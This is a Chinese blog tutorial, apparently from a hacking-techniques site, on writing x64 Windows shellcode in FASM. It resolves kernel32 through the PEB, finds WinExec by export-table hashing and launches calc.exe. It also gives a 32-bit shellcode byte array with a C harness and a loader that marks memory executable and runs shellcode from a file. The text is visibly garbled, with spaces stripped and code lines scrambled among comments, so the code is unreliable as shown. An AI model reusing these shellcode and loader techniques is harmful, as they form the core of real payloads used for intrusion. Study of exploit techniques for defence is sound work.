探索黑客技术攻防,实战研究与安全创新

导航菜单

ASMX64编程介绍

1关于WinExec-run-calcX641

关于X64的可编译完整工程,我用谷歌没有找到。

我在这里放一个fasm的完整可编译工程,把xfish的那份32位的WinExecruncmd改成了64位的WinExecruncalc代码写的有点罗嗦,加入nop,然后用IDA或者其他工具提取机器码的那个纯体力活我就不做了,只放工程和讲解,这份东西花了我大概四天的时间。

一天半学习fasm,剩下几天复习PE结构和做其他的。好了,我们开始。2fasm的一些基础知识网上有一份1.67的fasm中文手册,可以供你参考。下面是一个fasmhelloworld的例子你可以从中感受下fasm的语法和关键字,以及64位ASM编程。


//////////////////////////////////////////
formatPE64GUI
includewin64a.inc
entrystart
section.textcodereadableexecutable
start:
subrsp,8*5;reservestackforAPIuseandmakestackdqwordaligned
movr9d,0
lear8,[_caption]
leardx,[_message]
movrcx,0
call[MessageBoxA]
movecx,eax
call[ExitProcess]
section.datadatareadablewriteable
_captiondbWin64assemblyprogram,0
_messagedbHelloWorld!,0
section.importimportdatareadablewriteable
librarykernel32,kernel32.dll,\
user32,user32.dll
includeapi\kernel32.inc
includeapi\user32.inc
//////////////////////////////////////////////


直接复制粘贴到fasm里面就可以编译通过生成一个helloworld,通过这个

例子你可以亲身感受下fasm,利于我们接下来的学习。

3shellcode工程注解

xfish的那份代码,基本没怎么讲解,也没怎么注释,看起来的确有点难度,下面的代码,注释比较详细。代码既不精简,也不苗条,仅作为测试Demo进行讲解完整的工程代码如下,直接可以复制粘贴,编译运行。


///////////////////////////////////////////////////
formatPE64CONSOLE
macro.text{section.textcodereadableexecutablewriteable}
macro.code{section.codecodereadableexecutable}
macro.data{section.datadatareadablewriteable}
entry__Entry
includewin64axp.inc
.text
__Entry:
nop
nop
nop
nop
call
GetKrnlBase3
push016EF74Bh;HashWinExec
32
pushrsi
call
;kernel32module64
GetApi
movrdx,5
learcx,[calc]
callrax
;ret
;由于GetApi是我们自己实现的函数
;我们不一定非得r9r8rdxrcx
;对齐是10h+8
堆栈对齐
;
xorr9,r9
;
cinvokegetch
invokeExitProcess,0
;moveax,[fs:30h]
;moveax,[eax+0ch];Get_PEB_LDR_DATA
;moveax,[eax+1ch];GetInInitializationOrderModuleList.Flink,
;此时eax指向的是ntdll模块的InInitializationOrderModuleList线性地址。所以
我们获得它的下一个则是
kernel32.dll
;moveax,[eax]
;moveax,[eax+8h]
;ret
;add3
structIMAGE_EXPORT_DIRECTORY
Characteristics
TimeDateStamp
MajorVersion
MinorVersion
dd
?;未使用
dd
dw
dw
?;文件生成时间
?;主版本号,一般为0
?;次版本号,一般为0
nName
nBase
dd
?;模块的真实名称
dd
?;基数,加上序数就是函数地址数组的索引值
NumberOfFunctions
NumberOfNames
dd
?;AddressOfFunctions阵列的元素个数
?;AddressOfNames阵列的元素个数
dd?;指向函数地址数组
dd
AddressOfFunctions
AddressOfNames
dd
?;函数名字的指针地址
AddressOfNameOrdinals
dd
?;指向输出序列号数组
ends
;++
;
;int
;GetApi(
;INHINSTANCEhModule,
;INint
iHashApi,
;)
;
;RoutineDescription:
;
;
;
获取指定函数的内存地址
;Arguments:
;
;
;
;
;
(esp)
-returnaddress
Data(esp+4)-hDllHandle
(esp+8)-nReason
;ReturnValue:
;
;
eax-FunctionMemAddress。
;
;--
GetApi:
poprdx;savereturnaddr
poprax;hModulekernel32.dll基地址
poprcx;lpApiString在这里是Hash32位的
pushrdx;returnaddr再次入栈保存返回地址栈中只有rdx;各类寄存器依次入站pushad
pushrax
pushrcx
pushrdx
pushrbx
pushrsp
pushrbp
pushrsi
pushrdi
movebx,eax;hModulerbx
movedi,ecx;hashapirdi
moveax,[ebx+3ch];此时rax为e_lfanew的值保存了PE头文件;的偏移位置
movesi,[ebx+eax+88h];数据目录表的第一个成员保存了_IMAGE_EXPORT_D的RVA32位下是78h
leaesi,[esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames];esi==numberofnames的内存地址
cld
lodsd;moveax,[esi]esi=esi+4
xchgeax,edx;edx=NumberOfNames==有名字的函数的数量
lodsd;moveax,[esi]esi=esi+4eax此时是eat的rva增加之后的[esi]对应
AddressOfNames
pushrax;[esp]=AddressOfFunctionsEAT的RVA此时栈中有返回地址pushadEAT
的RVA
lodsd;moveax,[esi]esi=esi+4增加之后的[esi]对应AddressOfNameOrdinals
xchgeax,ebp;此时ebp是ENT的rva
lodsd
;moveax,[esi]esi=esi+4
没有增加之前的[esi]对应
AddressOfNameOrdinals
xchgeax,ebp;
;ebp=eot的rva,eax=ent的rva
;ebx
此时是hModule
addeax,ebx;此时eax是ENT的内存地址
此时是hModule
;ebx
xchgeax,esi;此时rsi是指向ent的内存地址VA=IB+RVA;其中大家最为关注的输入表、导出表、;重定位表、资源的结构体跟PE32一样,没有发生任何变化。
.LoopScas:
decedx;edx=有名字的函数的数量
jz.Ret;.Ret先没写
lodsd;moveax,[esi]esi=esi+4此时eax是ent的内容
;内容也就是各个ASCII字符串的RVA
addeax,ebx;IB+字符串的rva得到ASCII字符串的内存地址
;rbx此时是hModule
pushrdx;rdx=NumberOfNames-1做递减器保存好以免寄存器改变;殃及递减器
;此时栈中有返回地址EAT的RVA有名字的函数数量
;;全是64位的寄存器
pushrax;rax==函数名字的内存地址也就是ASCII字符串的内存地址
;此时栈中有返回地址EAT的RVA有名字的函数数量
;全是64位的寄存器
函数名字的内存地址
callGetRolHash
;此时edi是hash
;eax存贮了计算之后所得到的hash
;此时栈中有getapi的返回地址EAT的RVA有名字的函数数量
poprdx;rdx=NumberOfNames-1做递减器保存好以免寄存器改变
;;此时栈中有getapi的返回地址EAT的RVA
;rsi下个函数名字的rva
cmpeax,edi
jz.GetAddr
;ebp=AddressOfNameOrdinals,
addebp,2
;ebp=eot的rva
;ebp=AddressOfNameOrdinals的rva
jmp.LoopScas

;从AddressOfNames字段指向得到的函数名称地址表的第一项开始,在循环中将每一项定义的函数名与要查找的函数名相比较,如果没有任何一个函数名是符合的,表示文件中没有指定名称的函数,如果某一项定义的函数名与要查找的函数名符合,

;那么记下这个函数名在字符串地址表中的索引,值,然后在AddressOfNamesOrdinals指向的数组中以同样的索引值取出数组项的值,我们这里假设这个值是x,最后,以x值作为索引值,在AddressOfFunctions字段指向的函数入口地址表中获取的RVA就是函数的入口地址。

简单说是:查找AddressOfNames,对应到a项,取AddressOfNamesOrdinals的第a项的值得到b,取AddressOfFunctions的第b项rbx此时是hModuleebp=AddressOfNameOrdinals的rva指向另一个word类型的数组(注意不是双字数组)[rsp]==[esp]=AddressOfFunctions也就是EAT的rva此时栈中有getapi的返回地址EAT的RVA.GetAddr:xorrax,raxmovzxeax,word[ebp+ebx];00004000hshleax,2addeax,[rsp]moveax,[ebx+eax];得到了函数的RVA地址addeax,ebx.

此时栈中有getapi的返回地址pushadEAT的RVARet:


poprcx;
mov[rsp+8*7],rax
popad
;
poprdi
poprsi
poprbp
poprsp
poprbx
poprdx
poprcx
poprax
ret
;EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX
按照这些指令出栈可能会覆盖寄存器的值,必须mov[esp+4*7],eax
GetKrnlBase3:
movrsi,[gs:60h];pebfromteb
movrsi,[rsi+18h];_peb_ldr_datafrompeb
movrsi,[rsi+30h];InInitializationOrderModuleList.Flink,
;rsi==00232c9000000000
movrsi,[rsi];kernelbase.dll
;rsi=00232b2000000000
movrsi,[esi]
;kernel32.dll
movrsi,[rsi+10h];payattentiontodanwei
ret
GetRolHash:
poprcx;返回地址
poprax;函数名字内存地址
pushrcx;压入返回地址
pushrsi;下个函数名字的rva下个ent的内容也就是下个函数名字的rva
;此时栈中有getapi的返回地址EAT的RVA有名字的函数数量
;GetRolHash返回地址下个函数名字的rva
xorrdx,rdx
xchgeax,esi;rsi=第一个函数的名字的内存地址
;eax==下个函数名的RVA
cld
.Next:
lodsb;moval,[si]si=si+1
testal,al;按位与测试直到函数最后一个0字符
jz.Ret
roledx,3
xordl,al;
jmp.Next
.Ret:
xchgeax,edx;此时eax存储了hash
poprsi;下个函数名字的rva
ret;poprcx返回地址正好堆栈平衡
.data
;type
db%I64x,0
db0Dh,0Ah
;hello_msg
calcdbcalc.exe,0
showdbSW_SHOW
section.idataimportdatareadablewritable
librarykernel,KERNEL32.DLL
importkernel,\
ExitProcess,ExitProcess
;szCaptiondbtest,0
;
;
;
;
;
section.importimportdatareadablewriteable
librarykernel32,kernel32.dll,user32,user32.dll
includeapi\kernel32.inc
includeapi\user32.inc
///////////////////////////////////////////////


注释的很详细了需要说明的有这么几点

1堆栈平衡是重重之重,如果你记不住,就在每一行代码后面加好注释搞清楚这个时候堆栈里面都还有些什么

2PE32+改变比较大的也就是NT头变成了IMAGE_NT_HEADERS64,使一些偏移发生了变化,可以自行dt查看

3导出表没有发生变化

4导出表的后三个成员一定要好好看看,这是看懂代码的关键所在。

对callWinExec的说明最后的代码我是这样写的

movrdx,5

learcx,[calc]

callrax

实际上googlecode上面的那个作者也是用的rdxrcx传递的参数的,他的代码是这样的:


PUSH
PUSH
POP
B2DW(c,a,l,c)
;Stack=calc,0
RSP
RCX
RCX
;RCX=(calc)
PUSH
;WinExecmesseswithstack-
CDQ
;RDX=0
CALL
RDI
;WinExec((calc),0);


你可能问,用r9\r8传递参数不可以吗,我用r9r8传递参数结果程序crash。我们写个简单的小程序,使用

WinExec调用calc,IDA中显示这样的结果


;int__cdeclmain(intargc,constchar**argv,constchar**envp)
mainprocnear
sub
lea
mov
call
xor
add
retn
rsp,28h
rcx,CmdLine
edx,5
;calc.exe
;uCmdShow
cs:__imp_WinExec
eax,eax
rsp,28h


调用WinExec的时候windows本身就用的是rcx\rdx传递的参数,我们也还是老老实实的用rdx\rcx传递参数吧

Fasm完整可编译工程见附件ShellcodeInX64-3TestYourShellcode

在32位下测试shellcode大体的,在32位下我们测试shellcode的程序可以是这样。


//shellcodetest.cpp:Definestheentrypointfortheconsoleapplication.
//
#includestdafx.h
#includewindows.h
typedefvoid(WINAPI*FUN)(void);
char
shellcode[]=\x90\x90\x90\x90\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x
74\x91\x0C\x8B\xF4
\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x
54\x33
\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x
0A\x38
\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x
59\x20
\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\x
CA\x07
\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x
7B\x8B
\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x
33\xDB
\x53\x68\x65\x61\x73\x74\x68\x73\x68\x69\x6E\x8B\xC4\x53\x50\x50\x53\xFF\x57\x
FC\x53
\xFF\x57\xF8;
intmain(intargc,char*argv[])
{
FUNmyfun=NULL;
myfun=(FUN)shellcode;
myfun();
return0;
}


用VC6编译之后,就会生成一个可以运行于32位xp下的shellcode。测试工程在shellcodetestShinest.7z中。我们看一下在X64下面怎样来测试我们的shellcode。


2testshellcodeinfasm
formatPE64GUI
includewin64a.inc
entrystart
section.textcodereadableexecutable
start:
callshellcode
shellcode:file3.bin
section.importimportdatareadablewriteable
librarykernel32,kernel32.dll,\
user32,user32.dll
includeapi\kernel32.inc
includeapi\user32.inc


这是一个在fasm中测试shellcode的程序,你可以看到,只用到很短的几句话就可以测试我们的shellcode,关键在于一个file伪指令的应用,相信你学了第二节的fasm的一些基础知识之后,这个代码不难读懂。代码打包在testinfasm中。

3testyourshellcodeusingvc

下面的这段代码,是我在看国外的一些x64shellcode的时候见过的,相信很多人还是希望能够在VS当中测试我们的shellcode,我们可以看下下面这些代码。


//Runbin.cpp:定义控制台应用程序的入口点。
//
#includestdafx.h
#includewindows.h
#includestdio.h
#includeio.h
#includestdlib.h
#includemalloc.h
#includefcntl.h
#includeintrin.h
typedefvoid(*FUNCPTR)();
intmain(intargc,char**argv)
{
//hello.exeShiqiYuargc参数数量在这是3argv[0]是hello.exe,argv[1]是Shiqi,argv[2]是Yu。
FUNCPTRfunc;
void*buf;
intfd,len;
intdebug;
char*filename;
DWORDoldProtect;
if(argc==3strlen(argv[1])==2strncmp(argv[1],-d,2)==0){
debug=1;
filename=argv[2];
}elseif(argc==2){
debug=0;
filename=argv[1];
}else{
fprintf(stderr,usage:runbin[-d]filename\n);
fprintf(stderr,-d
return1;
insertdebuggerbreakpoint\n);
}
fd=_open(filename,_O_RDONLY|_O_BINARY);
if(-1==fd){
perror(Erroropeningfile);
return1;
}
len=_filelength(fd);
if(-1==len){
perror(Errorgettingfilesize);
return1;
}
buf=malloc(len);
if(NULL==buf){
perror(Errorallocatingmemory);
return1;
}
if(0==VirtualProtect(buf,len,PAGE_EXECUTE_READWRITE,oldProtect)){
fprintf(stderr,Errorsettingmemoryexecutable:errorcode%d\n,
GetLastError());
return1;
}
if(len!=_read(fd,buf,len)){
perror(errorreadingfromfile);
return1;
}
func=(FUNCPTR)buf;
if(debug){
__debugbreak();
}
func();
return0;
}


其中与xp下不同的就这一句


VirtualProtect(buf,len,PAGE_EXECUTE_READWRITE,oldProtect)


你可能会奇怪我们的fasm为什么没有用到这个函数来修改页面的属性,看看我们定义好的section属性section.textcodereadableexecutable

我们编译出来runbin之后,直接可以在命令行runbinxxx.bin就可以了。

工程我打包在testinvs2008.7z中。